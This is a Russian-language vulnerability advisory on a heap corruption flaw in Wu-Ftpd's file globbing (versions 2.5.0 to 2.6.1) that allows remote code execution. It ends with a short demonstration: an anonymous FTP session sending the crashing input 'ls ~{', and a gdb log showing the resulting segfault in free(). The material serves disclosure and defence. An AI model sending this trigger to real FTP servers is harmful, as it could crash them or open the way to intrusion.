Wu-Ftpd – ftp сервер, основанный на BSD ftpd, поддерживаемый Вашингтонским Университетом.
Wu-Ftpd позволяет клиентам организовывать файлы для
ftp, основываясь на на образах "file globbing" (Универсализация файлов). Универсализация также используется различными оболочками. Реализация "file globbing" включенная в Wu-Ftpd, содержит уязвимость искажения динамической памяти, которая позволяет дистанционно выполнять произвольный код на сервере.
В процессе обработки образца универсализации, Wu-Ftpd создает соответствующий список файлов. Память, где эти данные сохранены, находится в динамической памяти, выделенной с использованием malloc(). Функция универсализации просто возвращает указатель на список.
Если ошибка происходит при обработке образа, память не будет выделена, и переменная, указывающая это, должна быть установлена. Вызывающие функции должны проверять значение этой переменной перед попыткой использовать универсальные имена файлов (и позже освобождать эту память).
Если произошла ошибка при обработке некоторых универсальных образов, функция Универсализации не устанавливает эту переменную. В результате этого, Wu-Ftpd может, в конечном счете,
обращается к свободной неинициализированной памяти. Есть множество способов использовать эту уязвимость.
Если эта область памяти содержала
переданные пользователем данные перед свободным запросом, возможно записать поверх произвольные данные. Это может приводить к выполнению произвольного кода, если поверх записаны указатели функции или адреса возврата.
Для успешной эксплуатации этой уязвимости требуется доступ к FTP серверу (анонимный или нет). Информация об этой уязвимости должна была появиться 3 декабря, однако Red Hat сообщила детали вчера, в связи с чем многие производители не успели выпустить патчи.
Уязвимость найдена в Washington University wu-ftpd 2.6.1, 2.6.0, 2.5.0.
А вот пример:
ftp> open localhost
Connected to localhost (127.0.0.1).
220 sasha FTP server (Version wu-2.6.1-18) ready.
Name (localhost:root): anonymous
331 Guest login ok, send your complete e-mail address as password.
Password:
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ~{
227 Entering Passive Mode (127,0,0,1,241,205)
421 Service not available, remote server has closed connection
1405 ? S 0:00 ftpd: accepting connections on port 21
7611 tty3 S 1:29 gdb /usr/sbin/wu.ftpd
26256 ? S 0:00 ftpd: sasha:anonymous/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
26265 tty3 R 0:00 bash -c ps ax | grep ftpd
(gdb) at 26256
Attaching to program: /usr/sbin/wu.ftpd, process 26256
Symbols already loaded for /lib/libcrypt.so.1
Symbols already loaded for /lib/libnsl.so.1
Symbols already loaded for /lib/libresolv.so.2
Symbols already loaded for /lib/libpam.so.0
Symbols already loaded for /lib/libdl.so.2
Symbols already loaded for /lib/i686/libc.so.6
Symbols already loaded for /lib/ld-linux.so.2
Symbols already loaded for /lib/libnss_files.so.2
Symbols already loaded for /lib/libnss_nisplus.so.2
Symbols already loaded for /lib/libnss_nis.so.2
0x40165544 in __libc_read () from /lib/i686/libc.so.6
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
__libc_free (mem=0x61616161) at malloc.c:3136
3136 in malloc.c